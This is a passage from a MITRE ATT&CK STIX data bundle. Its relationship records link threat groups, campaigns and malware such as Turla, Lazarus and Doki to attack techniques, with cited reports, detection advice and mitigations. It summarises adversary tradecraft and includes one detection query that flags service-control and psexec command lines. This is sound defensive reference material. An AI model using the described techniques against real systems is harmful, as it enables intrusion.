Service)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eef34338-cf9a-4ba9-986d-f4d49a9d110a","type":"relationship","created":"2021-04-06T15:53:34.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:38.176Z","description":"[Doki](https://attack.mitre.org/software/S0600) was executed through an open Docker daemon API port.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eef3ac92-4c31-4401-84fe-b6e298610ed9","created":"2024-02-12T19:13:11.799Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:13:11.799Z","description":"(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eef80a68-dd2a-453b-b115-88a4d97730b6","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for executed processes that may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eefcbce1-d2b4-40cb-a07d-7735b256c868","created":"2022-03-30T14:26:51.872Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Boot Information","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#26","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes to boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.","modified":"2022-04-20T12:51:46.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef02e21a-5ccd-4a69-a735-b9eba6f08b91","type":"relationship","created":"2020-02-20T22:11:00.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T22:11:00.290Z","relationship_type":"revoked-by","source_ref":"attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef041776-abd8-4e6f-8737-07e724e68cd1","type":"relationship","created":"2020-11-25T22:46:47.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.714Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has collected the username from a compromised host.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef087ae8-5b2c-4cc9-99f0-c3f9550fc94e","type":"relationship","created":"2020-01-24T14:52:55.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:52:55.449Z","relationship_type":"revoked-by","source_ref":"attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef09248a-8356-4636-88da-a58e17e72a45","created":"2023-05-22T19:53:06.649Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-22T19:53:06.649Z","description":"[QUIETCANARY](https://attack.mitre.org/software/S1076) can base64 encode C2 communications.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef175c83-cc75-462a-93b1-bf9bb1f99290","created":"2024-06-26T18:37:54.660Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-26T18:37:54.660Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has named components of [LunarWeb](https://attack.mitre.org/software/S1141) to mimic Zabbix agent logs.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef1787e0-add4-4490-9777-33462acf9325","type":"relationship","created":"2020-10-02T16:49:31.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:49:31.371Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef18d02f-bc68-48d8-8076-10e171fde390","type":"relationship","created":"2020-03-16T14:49:02.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.","source_name":"Microsoft LSA"}],"modified":"2022-02-10T22:26:33.970Z","description":"Enabled features, such as Protected Process Light (PPL), for LSA.(Citation: Microsoft LSA)","relationship_type":"mitigates","source_ref":"course-of-action--72dade3e-1cba-4182-b3b3-a77ca52f02a1","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef19089b-8d71-4fdb-9fdc-2eb8521d634f","created":"2024-03-28T14:32:44.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:03:13.217Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) engaged in network reconnaissance against targets of interest.(Citation: FireEye TEMP.Veles 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031","type":"relationship","created":"2018-01-16T21:43:14.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf","description":"Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.","source_name":"APT3 Adversary Emulation Plan"},{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"}],"modified":"2021-05-05T18:50:15.141Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to pack their tools.(Citation: APT3 Adversary Emulation Plan)(Citation: FireEye Clandestine Wolf) ","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef203c63-b93c-413a-83ed-4785399f3a51","created":"2022-09-27T16:31:55.201Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:31:55.201Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors downloaded additional files to the infected system.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef287141-fdb9-4440-8721-f53041828597","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}]},{"type":"relationship","id":"relationship--ef2873f3-3e8d-4ec0-ba63-e487dc36a005","created":"2024-06-06T20:05:17.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"},{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:47:36.584Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used 7-Zip and WinRAR to archive collected data prior to exfiltration.(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SOCRadar INC Ransom January 2024)(Citation: Huntress INC Ransomware May 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef2c3ef7-702b-4c48-90b9-d0841ac7c433","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:19:28.587Z","description":"Monitor executed commands and arguments that may abuse the Windows service control manager to execute malicious commands or payloads.\n\nAnalytic 1- Commands abusing Windows service control manager.\n\nsourcetype=WinEventLog:Security OR sourcetype=Powershell OR sourcetype=Sysmon EventCode IN (1,4688,4104) \n| search command_line IN (\"sc.exe*\", \"net start*\", \"net stop*\", \"psexec.exe*\")\n| where user!=\"SYSTEM\" // Exclude common system-level activities","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef2c5dd4-2049-48f5-8873-f8e94a0deb26","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef2cc201-0b82-41a9-98fd-1eda4fb79b39","created":"2023-03-17T13:52:45.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T17:16:37.240Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used [DRATzarus](https://attack.mitre.org/software/S0694) to deploy open source software and partly commodity software such as [Responder](https://attack.mitre.org/software/S0174), Wake-On-Lan, and ChromePass to target infected hosts.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef2cc3f0-b44f-4f56-ba46-45e736ce0e90","type":"relationship","created":"2019-06-17T18:59:18.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"},{"source_name":"CitizenLab Tropic Trooper Aug 2018","url":"https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces/","description":"Alexander, G., et al. (2018, August 8). Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces. Retrieved June 17, 2019."}],"modified":"2019-06-30T22:44:28.370Z","description":"(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: CitizenLab Tropic Trooper Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Charming Kitten Dec 2017","description":"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}],"modified":"2020-03-20T17:05:40.089Z","description":"[DownPaper](https://attack.mitre.org/software/S0186) uses the command line.(Citation: ClearSky Charming Kitten Dec 2017)","relationship_type":"uses","source_ref":"malware--e48df773-7c95-4a4c-ba70-ea3d15900148","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef3798af-43f4-4a09-b969-2bcb6283a310","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-16T17:18:15.520Z","description":"Correlate other security systems with login information, such as user accounts, IP addresses, and login names.(Citation: Mandiant Cloudy Logs 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--e49920b0-6c54-40c1-9571-73723653205f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ef3ed455-e147-4823-bfc3-b40c82da8cb3","created":"2022-03-30T14:26:51.843Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.","modified":"2022-04-20T00:41:26.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef407819-f7e3-477c-8586-42ba108e5786","type":"relationship","created":"2020-09-30T14:52:08.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMess July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b","description":"CISA. (2020, July 16). MAR-10296782-2.v1 – WELLMESS. Retrieved September 24, 2020."}],"modified":"2020-09-30T14:52:08.973Z","description":"[WellMess](https://attack.mitre.org/software/S0514) can use junk data in the Base64 string for additional obfuscation.(Citation: CISA WellMess July 2020)","relationship_type":"uses","source_ref":"malware--3a4197ae-ec63-4162-907b-9a073d1157e4","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ef41cf60-c60d-4c1f-aa2c-ee9cc73641f4","created":"2021-11-29T18:59:22.143Z","x_mitre_version":"1.0","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SysUpdate](https://attack.mitre.org/software/S0663) can use WMI for execution on a compromised host.(Citation: Trend Micro Iron Tiger April 2021)","modified":"2022-04-15T15:05:38.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef463100-ac00-44ab-805b-75e4c8886699","type":"relationship","created":"2021-01-25T13:58:25.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:52.969Z","description":"[Dtrack](https://attack.mitre.org/software/S0567)’s can download and upload a file to the victim’s computer.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef47c8b8-45ef-415c-8f1d-8421b0add257","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef48b966-327f-4795-a1d0-4baf949fad2f","created":"2024-03-24T19:43:18.719Z","revoked":false,"external_references":[{"source_name":"Cider Security Top 10 CICD Security Risks","description":"Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 